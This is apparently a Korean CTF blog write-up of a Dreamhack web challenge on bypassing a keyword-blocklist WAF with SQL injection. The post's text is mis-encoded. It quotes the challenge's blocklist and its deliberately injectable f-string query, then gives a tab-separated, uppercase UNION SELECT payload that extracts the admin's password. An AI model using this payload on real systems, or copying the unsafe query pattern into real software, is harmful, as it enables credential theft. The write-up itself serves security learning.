๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ

๐Ÿด‍โ˜ ๏ธ CTF ๐Ÿด‍โ˜ ๏ธ/โœˆ๏ธ ์›น โœˆ๏ธ

[Dream Hack - Web] sql injection bypass WAF

๋ฐ˜์‘ํ˜•

๋ฌธ์ œ ํ•ด์„

error based sql injection ๋ฌธ์ œ์™€ ๋‹ฌ๋ผ์ง„ ์  ์ค‘์ด ํฌ๊ฒŒ ๋‘๊ฐ€์ง€ ๋ณด์˜€๋‹ค.

  • keywords์— ์žˆ๋Š” ๋ฌธ์ž์—ด์„ ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ, SQL ๋ฌธ์ด ์‹คํ–‰๋˜์ง€ ์•Š๋Š”๋‹ค.
keywords = ['union', 'select', 'from', 'and', 'or', 'admin', ' ', '*', '/']
def check_WAF(data):
    for keyword in keywords:
        if keyword in data:
            return True
    return False
  • ๋” ์ด์ƒ ์—๋Ÿฌ๋ฌธ์„ ์ถœ๋ ฅํ•˜์ง€ ์•Š๋Š”๋‹ค.
uid = request.args.get('uid')
    if uid:
        if check_WAF(uid):
            return 'your request has been blocked by WAF.'
        cur = mysql.connection.cursor()
        cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
        result = cur.fetchone()
        if result:
            return template.format(uid=uid, result=result[1])
	 else:
            return template.format(uid=uid, result='')
    else:
        return template

 

ํ’€์ด๋ฐฉ๋ฒ•

  1. keywords๋ฅผ ๋ณด๋ฉด, ๋Œ€๋ฌธ์ž๋Š” WAF์— ์žกํžˆ์ง€ ์•Š๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋‹ค. SQL์—์„œ๋Š” ์†Œ๋Œ€๋ฌธ์ž๋ฅผ ๊ตฌ๋ณ„ํ•˜์ง€ ์•Š๋Š”๋‹ค.
  2. ๋„์–ด์“ฐ๊ธฐ๋Š” ํƒญ์œผ๋กœ ๋Œ€์ฒดํ•ด์„œ ๋ณด๋‚ผ ์ˆ˜ ์žˆ๋‹ค.
  3. UNION์„ ์‚ฌ์šฉํ•ด์„œ admin์˜ upw๋ฅผ ์ถœ๋ ฅํ•˜๋„๋ก ํ•œ๋‹ค. ** UNION ์‚ฌ์šฉ ์‹œ ์•ž์— ์‚ฌ์šฉ๋˜๋Š” SELECT ๋ฌธ๊ณผ column ์ˆ˜๊ฐ€ ๋™์ผํ•˜๊ฒŒ ์ถœ๋ ฅ ๋˜์–ด์•ผ ํ•œ๋‹ค. null, upw, null์„ ์‚ฌ์šฉํ•˜๋Š” ์ด์œ ์ด๋‹ค.
'	UNION	SELECT	null,upw,null	FROM	user	WHERE	uid='Admin';#
๋ฐ˜์‘ํ˜•

'๐Ÿดโ€โ˜ ๏ธ CTF ๐Ÿดโ€โ˜ ๏ธ > โœˆ๏ธ ์›น โœˆ๏ธ' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

[Dream Hack - Web] error based sql injection  (0) 2024.08.13
[Dream Hack - Web] csrf-2  (0) 2024.08.07
[Dream Hack - Web] csrf-1  (0) 2024.08.07
[Dream Hack - Web] xss-2  (0) 2024.08.02
[Dream Hack - Web] xss-1  (0) 2024.08.02